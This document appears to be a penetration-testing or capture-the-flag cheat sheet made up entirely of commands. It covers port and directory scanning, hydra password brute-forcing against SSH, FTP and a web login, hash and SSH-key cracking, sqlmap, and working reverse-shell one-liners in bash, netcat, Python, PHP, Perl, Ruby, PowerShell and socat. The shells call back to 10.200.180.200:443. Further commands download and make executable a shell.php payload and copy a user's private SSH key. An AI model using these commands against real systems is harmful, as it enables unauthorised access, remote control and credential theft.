nmap -sV -p- --min-rate 10000 -sC --open 10.10.10.10

nmap -sS -sV -sC -A -O 10.10.10.10

nmap -p- --min-rate 10000 10.10.10.10 -oN full_scan.txt

gobuster dir -u http://10.10.10.10:80 -w /usr/share/wordlists/rockyou.txt -x php,txt,html

gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

gobuster vhost -u http://10.10.10.10 -w /usr/share/wordlists/vhosts.txt

feroxbuster -u http://10.10.10.10:80 -w /usr/share/wordlists/rockyou.txt -x php,txt,html -C 404,403

feroxbuster -u http://10.10.10.10 -w /usr/share/wordlists/dirb/big.txt -n -C 404,403

feroxbuster -u http://10.10.10.10:80 -w /usr/share/wordlists/rockyou.txt -x php,txt,html -C 404,403 

nuclei -u http://target.com -t cves/

nuclei -u http://target.com    -c 25 -rl 150 -timeout 10 -retries 1

nikto -h http://target.com

nikto -h http://target.com -p 80   -o nikto_scan.txt -T 10 

hydra -l prab -P /usr/share/wordlists/rockyou.txt 10.10.10.10 ssh

hydra -l prab -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.10

hydra -l prab -P /usr/share/wordlists/rockyou.txt 10.10.10.10 -s 62337 http-post-form "/components/user/controller.php?action=authenticate:username=^USER^&password=^PASS^&theme=default&language=en:Incorrect Username or Password"

john --format=md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

ssh2john path/to/id_rsa > path/to/id_rsa_hash

john --wordlist=/usr/share/wordlists/rockyou.txt path/to/id_rsa_hash

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt --force

sqlmap -u "http://target.com/page.php?id=1" --batch

sqlmap -u "http://target.com/page.php?id=1"      

bash -i >& /dev/tcp/10.200.180.200/443 0>&1
Bash TCP Reverse Shell

nc -e /bin/sh 10.200.180.200 443
Netcat Reverse Shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.200.180.200",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
Python3 Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.200.180.200",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
Python Reverse Shell

php -r '$sock=fsockopen("10.200.180.200",443);exec("/bin/sh -i <&3 >&3 2>&3");'
PHP Reverse Shell

perl -e 'use Socket;$i="10.200.180.200";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Perl Reverse Shell

ruby -rsocket -e 'c=TCPSocket.new("10.200.180.200","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Ruby Reverse Shell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.200.180.200',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
PowerShell Reverse Shell

socat TCP:10.200.180.200:443 EXEC:/bin/sh
Socat Reverse Shell

python3 -m http.server 8080

wget 10.200.180.200:8080/shell.php -O /tmp/shell.php && chmod +x /tmp/shell.php

curl 10.200.180.200:8080/shell.php -o /tmp/shell.php && chmod +x /tmp/shell.php

powershell -nop -c "iwr 10.200.180.200:8080/shell.php -o shell.php"

scp JOHN@REMOTE_IP:/home/prab/.ssh/id_rsa .